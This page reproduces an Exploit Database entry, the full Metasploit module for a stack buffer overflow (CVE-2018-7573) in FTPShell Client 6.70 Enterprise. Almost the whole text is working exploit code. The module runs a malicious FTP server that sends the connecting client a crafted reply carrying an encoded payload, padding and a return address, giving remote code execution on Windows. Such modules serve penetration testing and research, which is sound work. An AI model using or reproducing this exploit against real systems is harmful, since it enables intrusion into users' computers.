FTPShell Client 6.70 (Enterprise Edition) – Stack Buffer Overflow (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2018-07-02
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44968/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::TcpServer
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow',
  'Description'=> %q{
  This module exploits a buffer overflow in the FTPShell client 6.70 (Enterprise
  edition) allowing remote code execution.
  },
  'Author' =>
  [
  'r4wd3r', # Original exploit author
  'Daniel Teixeira' # MSF module author
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'CVE', '2018-7573'],
  [ 'EDB', '44596' ]
  ],
  'Payload'=>
  {
  'Space'=> 400,
  'BadChars' => "\x00\x22\x0d\x0a\x0b"
  },
  'Platform' => 'win',
  'Targets'=>
  [
  # CALL ESI in FTPShell.exe : 0x00452eed
  [ 'Windows Universal', {'Ret' => "\xed\x2e\x45" } ]
  ],
  'Privileged' => false,
  'DefaultOptions' =>
  {
  'SRVHOST' => '0.0.0.0',
  'EXITFUNC' => 'thread'
  },
  'DisclosureDate' => 'Mar 4 2017',
  'DefaultTarget'=> 0))
  
  register_options [ OptPort.new('SRVPORT', [ true, 'The FTP port to listen on', 21 ]) ]
  end
  
  def exploit
  srv_ip_for_client = datastore['SRVHOST']
  if srv_ip_for_client == '0.0.0.0'
  if datastore['LHOST']
  srv_ip_for_client = datastore['LHOST']
  else
  srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
  end
  end
  
  srv_port = datastore['SRVPORT']
  
  print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
  super
  end
  
  def on_client_connect(client)
  p = regenerate_payload(client)
  return if p.nil?
  print_status("#{client.peerhost} - connected.")
  
  res = client.get_once.to_s.strip
  print_status("#{client.peerhost} - Request: #{res}") unless res.empty?
  print_status("#{client.peerhost} - Response: Sending 220 Welcome")
  welcome = "220 Welcome.\r\n"
  client.put(welcome)
  
  res = client.get_once.to_s.strip
  print_status("#{client.peerhost} - Request: #{res}")
  print_status("#{client.peerhost} - Response: sending 331 OK")
  user = "331 OK.\r\n"
  client.put(user)
  
  res = client.get_once.to_s.strip
  print_status("#{client.peerhost} - Request: #{res}")
  print_status("#{client.peerhost} - Response: Sending 230 OK")
  pass = "230 OK.\r\n"
  client.put(pass)
  res = client.get_once.to_s.strip
  print_status("#{client.peerhost} - Request: #{res}")
  
  sploit = '220 "'
  sploit << payload.encoded
  sploit << "\x20" * (payload_space - payload.encoded.length)
  sploit << target.ret
  sploit << "\" is current directory\r\n"
  
  print_status("#{client.peerhost} - Request: Sending the malicious response")
  client.put(sploit)
  
  end
  end